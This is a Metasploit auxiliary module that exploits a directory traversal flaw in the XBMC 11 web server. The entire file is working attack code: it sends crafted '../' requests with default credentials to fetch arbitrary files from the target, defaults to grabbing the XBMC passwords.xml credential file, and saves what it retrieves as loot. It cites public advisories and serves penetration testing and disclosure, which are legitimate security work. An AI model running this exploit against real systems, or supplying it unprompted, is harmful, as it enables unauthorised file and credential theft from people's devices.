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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "XBMC Web Server Directory Traversal",
'Description' => %q{
This module exploits a directory traversal bug in XBMC 11, up until the
2012-11-04 nightly build. The module can only be used to retrieve files.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton
'Lucas "acidgen" Lundgren IOActive',
'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
],
'References' =>
[
['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'],
['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'],
['URL', 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf'],
],
'DisclosureDate' => "Nov 4 2012"
))
register_options(
[
Opt::RPORT(8080),
OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),
OptInt.new('DEPTH', [true, 'The max traversal depth', 9]),
OptString.new('HttpUsername', [true, 'The username to use for the HTTP server', 'xbmc']),
OptString.new('HttpPassword', [false, 'The password to use for the HTTP server', 'xbmc']),
])
end
def run
# No point to continue if no filename is specified
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
print_error("Please supply the name of the file you want to download")
return
end
# Create request
traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep
begin
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
'authorization' => basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
}, 25)
rescue Rex::ConnectionRefused
print_error("#{rhost}:#{rport} Could not connect.")
return
end
# Show data if needed
if res
if res.code == 200
vprint_line(res.to_s)
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'xbmc.http',
'application/octet-stream',
datastore['RHOST'],
res.body,
fname
)
print_good("File saved in: #{path}")
elsif res.code == 401
print_error("#{rhost}:#{rport} Authentication failed")
elsif res.code == 404
print_error("#{rhost}:#{rport} File not found")
end
else
print_error("HTTP Response failed")
end
end
end